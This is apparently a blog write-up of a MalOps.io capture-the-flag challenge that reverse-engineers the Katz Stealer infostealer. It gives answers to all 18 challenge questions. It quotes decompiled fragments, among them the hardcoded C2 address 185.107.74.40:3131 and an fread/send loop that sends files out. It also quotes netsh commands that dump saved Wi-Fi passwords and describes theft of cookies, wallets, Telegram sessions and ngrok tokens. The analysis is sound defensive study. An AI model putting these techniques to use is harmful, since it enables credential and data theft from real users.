← Back to list

Katz Stealer: Reverse Engineering a Information Stealer

A Complete Malware Analysis Walkthrough of the MalOps.io Challenge From C2 Communications to Browser Injection and Credential Theft

CHANDRA KANT BAURI · 2026-06-06 13:37 · 1 claps · 8.4 min read
#malware-analysis #reverse-engineering #ctf-writeup #infosec #cybersecurity
Open on Medium ↗
Wiki topics: 🔒 · Cybersecurity

Katz Stealer: Reverse Engineering a Information Stealer

A Complete Malware Analysis Walkthrough of the MalOps.io Challenge From C2 Communications to Browser Injection and Credential Theft

I pulled the sample, dropped it into Binary Ninja, If you want to follow along with the original sample, this is the Katz Stealer challenge from **https://malops.io/challenges/katz-stealer** . Fire up your disassembler and race me.

Chapter 1: “Am I in the right country?”

The very first thing a lot of stealers do isn’t steal. It’s check who’s watching.

I went looking for region strings and stumbled onto a tidy little block in the .**data** section. Searching for the country code ”**RU**” dropped me right into it.

CIS country codes in .data

CIS country codes in .data

A list of two-letter codes, lined up like dominoes:

RU  BY  KZ  KG  TJ  UZ  AM  AZ  MD

If you’ve looked at malware from a certain part of the world. That’s the CIS the post-Soviet bloc. Authors hardcode these so the payload politely skips machines in their home region. Don’t foul your own nest, don’t get a knock on the door.

Cross-referencing **GetLocaleInfoA** confirmed it. The code grabs your keyboard layout and system language, then walks that pointer table to compare.

Country code pointer table

Country code pointer table

I wanted to know how big that table was. Nine pointers, eight bytes each on a 64-bit binary:

9 pointers × 8 bytes = 72 bytes

Challenge Q1: What is the size in bytes of the memory block containing the sequence of pointers to country code strings?

Answer: 72

Small detail. Big meaning. This was written by someone who did not want it running where they live.

Chapter 2: Reading your locale like a fortune teller

That same **GetLocaleInfoA** call had a constant sitting in its first argument: **0x400**.

GetLocaleInfoA locale argument

GetLocaleInfoA locale argument

A quick trip to the Microsoft docs and the mask fell off. **0x400** is **LOCALE_USER_DEFAULT**, which means “give me the locale of whoever’s logged in right now.”

LOCALE_USER_DEFAULT on MSDN

LOCALE_USER_DEFAULT on MSDN

Challenge Q2: What is the name of the enumeration type for the first parameter of GetLocaleInfoA?

Answer: LOCALE_USER_DEFAULT

So the malware isn’t guessing at the machine. It’s profiling you, the human at the keyboard, before it decides whether you’re worth robbing.

Cold.

Chapter 3: Phoning home

Every stealer has a home to phone. Finding it is half the fun.

I searched for **socket** function and there it was, plain as day:


s = socket(af: 2, type: SOCK_STREAM, protocol: 0);

socket call using SOCK_STREAM

socket call using SOCK_STREAM

**SOCK_STREAM** means TCP. No fancy HTTPS, no DNS tunneling. Just a raw, naked socket. Old school.

Challenge Q3: What protocol is used by the malware to communicate with the C2 server?

Answer: tcp

And a few lines down, the prize every analyst hopes for: the address and port, hardcoded in the clear.

inet_addr("185.107.74.40");
htons(0xc3b);

C2 IP address and port

C2 IP address and port

**0xc3b** is 3131 in decimal. So the C2 lives at:

185.107.74.40 : 3131

Challenge Q4: What is the port number used by the malware to connect to the C2 server in decimal?

Answer: 3131

Chapter 4: The download loop (it brings friends)

Before it steals, Katz reaches out and pulls something in. I followed **recv** into a download loop and watched it read a 4-byte length, flip it with **ntohl**, then stream a payload into a file in chunks.

if (len u> 0x1000)
    len = 0x1000;

The cap was **0x1000**, so 4 KB per chunk. This is the classic shape of malware pulling down an injected DLL stage. The stealer is a delivery boy too.

Challenge Q5: What is the maximum chunk size the malware uses to download the injected DLL in hex?

Answer: 0x1000

Chapter 5: Hijacking your browser

Here’s where it gets personal.

Scrolling on, I hit a wall of string comparisons against process names: **edge**, **chrome**, **brave**.

Browser string comparison

Browser string comparison

The matched name gets handed to a function at **0x140002aeb**. Decompiling it shows exactly what you’d dread: it launches the browser under malware control, ready for injection into the very thing you use to log into your bank.

Browser launch function

Browser launch function

Challenge Q6: What is the address of the function responsible for launching browsers for injection in hex?

Answer: 0x140002aeb

And to find the right browser to pounce on, it spins through the running process list. I jumped to **Process32NextW**, hit the cross-references, and landed inside the hunt loop at **0x14000755f**.

Process match loop

Process match loop

It’s literally walking every process on your machine, looking for its targets.

Challenge Q7: What is the address of the start of the loop that checks if a process matches the target browser executable name in hex?

Answer: 0x14000755f

Chapter 6: Slurping the files out

Once it has a foothold, the exfiltration begins, and Katz is methodical about it. I traced **send** backward into a function that reads a file and ships it straight to the C2:

size_read = fread(&buffer, 1, 0x1000, file_stream);
send(socket, &buffer, size_read, 0);

fread/send exfil loop

fread/send exfil loop

Same 4 KB chunk size, this time flowing out. Read a piece, send a piece, repeat until your file is sitting on someone else’s server.

Challenge Q8: What is the maximum chunk size the malware uses when sending the file contents to the C2 server in hex?

Answer: 0x1000

Then came the parade of targets.

Discord. It searches for version folders with the wildcard **app-*, because Discord buries its real binaries in versioned subfolders like app-1.0.9004**, and the malware wants the latest one.

Discord wildcard search

Discord wildcard search

Challenge Q9: What is the wildcard used to find Discord version folders?

**Answer: app-***

Your cookies. It copies your browser cookie database to a temp file (Cookies_copy.db) and uploads it, retrying up to 3 times if the C2 doesn’t answer. Session cookies are gold. They can be replayed to log in as you, no password needed.

Cookies copy retries

Cookies copy retries

Challenge Q10: What is the maximum number of retries for uploading the cookies copy to the C2?

Answer: 3

Firefox. It parses profiles.ini, finds each profile, and grabs 6 specific files per profile logins, keys, the works.

Firefox profile files

Firefox profile files

Challenge Q11: How many important files per profile does the function attempt to find and send?

Answer: 6

Chapter 7: Going after the money

If you hold crypto, this chapter is the one that hurts.

Tracing the format string walletdump%s led me into the wallet-theft routine. Before it copies your wallet files out, it builds a unique staging folder in your temp directory.

Wallet dump routine

Wallet dump routine

The folder name gets a random suffix, generated by a tidy little loop over a 62-character alphabet, seeded with your process ID and the current time:

char charset[] = "abc...XYZ0123456789";
srand(GetCurrentProcessId() + _time64(...));
do {
    random_id[i] = charset[rand() % 62];
    i++;
} while (i != 0xc);   // 0xc = 12

Random ID generator

Random ID generator

**0xc** is 12, so the directory gets a 12-character random tail like **wallet_dump_aB3xK9pQ2mZ7**. Exodus, wallet.dat, the lot. Staged and shipped.

Challenge Q12: How many characters long is the random ID generated for the temporary wallet dump directory?

Answer: 12

Chapter 8: Reading your messages

Stealers love messaging apps because that’s where the 2FA codes and private chats live.

I searched for **Telegram Desktop\tdata** and followed the trail.

Telegram tdata string

Telegram tdata string

It builds the path to Telegram’s **tdata** folder, then hands it to a dedicated recursive directory walker at **0x140001ab2** that crawls the directory and uploads everything matching Telegram’s internal session formats.

Telegram directory walker

Telegram directory walker

Challenge Q13: What is the address of the function used to search the Telegram data?

Answer: 0x140001ab2

If you’ve ever logged into Telegram Desktop, those files are your account.

Chapter 9: Casing the whole house

By now the pattern is obvious: Katz wants a complete dossier on you. So it also fingerprints the machine itself.

It opens a **System-Information.txt**, calls **GetSystemInfo** to read your CPU core count, and writes it down. Now it has a neat profile of the box it just robbed.

CPU core count via GetSystemInfo

CPU core count via GetSystemInfo

Challenge Q14: When the malware writes the CPU core count to the file, which function does it call immediately before writing?

Answer: GetSystemInfo

Then it goes after the infrastructure credentials:

ngrok It reads **C:\Users\<you>\AppData\Local\ngrok\ngrok.yml**, searches each line for **authtoken**:, and steals your tunneling token. With that, someone can stand up tunnels on your account.

ngrok.yml token theft

ngrok.yml token theft

Challenge Q15: Which configuration filename does the malware specifically look for to extract the ngrok authtoken?

Answer: ngrok.yml

Your Wi-Fi It shells out to Windows’ own tools:

netsh wlan show profiles
netsh wlan show profile name="%s" key=clear

The first lists every network you’ve ever joined the second dumps the passwords in plaintext.

netsh wifi profile dump

netsh wifi profile dump

Challenge Q16: What command does the malware run to list all saved WiFi profiles on the system?

Answer: netsh wlan show profiles

Foxmail It opens the registry key **HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Foxmail.url.mailto\Shell\open\command** to locate the mail client and rob its stored credentials too.

Foxmail registry key

Foxmail registry key

Challenge Q17: Which full registry key is opened to locate the Foxmail executable path?

Answer: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Foxmail.url.mailto\Shell\open\command

Chapter 10: Even your games aren’t safe

Just when I thought I’d seen the whole shopping list, I found a function at **0x140003fc0** iterating over a massive hardcoded array of game-launcher paths.

Gaming data stealer

Gaming data stealer

Minecraft (launcher_accounts.json), Steam (ssfn* auth files), and a parade of custom clients — Lunar, Feather, Impact, Novoline, CheatBreaker. Each match gets packaged under a Games/ folder and shipped to the C2.

Challenge Q18: What is the address of the function used to extract gaming account data in hex?

Answer: 0x140003fc0

Because of course it steals your gaming accounts too. Why leave anything on the table?

So what did we actually learn?

By the time I closed the disassembler, the sample had stopped looking like a file and started looking like a business plan. One small binary, and look at the haul:

  • Skips its home region (CIS) so the authors stay safe
  • Profiles your locale before deciding you’re a target
  • Beacons over raw TCP to 185.107.74.40:3131
  • Drains Chrome, Edge, Brave, and Firefox: cookies, logins, keys
  • Steals crypto wallets into randomized temp folders
  • Lifts Discord and Telegram sessions
  • Dumps your saved Wi-Fi passwords in cleartext
  • Grabs ngrok tokens and Foxmail credentials
  • Loots your game accounts too

Reverse-engineered as part of the Katz Stealer challenge on https://malops.io/challenges/katz-stealer . If this breakdown taught you something, share it with the one friend who keeps downloading “updates” from sketchy emails — you might save their wallet.

Tools used: Binary Ninja. Patience used: considerable.

Want the full technical breakdown every function, screenshot, and answer in one place? The complete writeup lives on GitHub and drop a ⭐ if it helped.

[embed]malops.io/Katz Stealer at main · Lynk4/malops.io Malware Analysis CTF. Contribute to Lynk4/malops.io development by creating an account on GitHub.github.com


메타데이터
post_id
2e708948e511
slug
katz-stealer-reverse-engineering-a-information-stealer-2e708948e511
url
https://medium.com/@ckant/katz-stealer-reverse-engineering-a-information-stealer-2e708948e511
canonical_url
https://medium.com/@ckant/katz-stealer-reverse-engineering-a-information-stealer-2e708948e511
author_url
https://medium.com/@ckant
status
ok
fetched_at
2026-07-15 18:51:36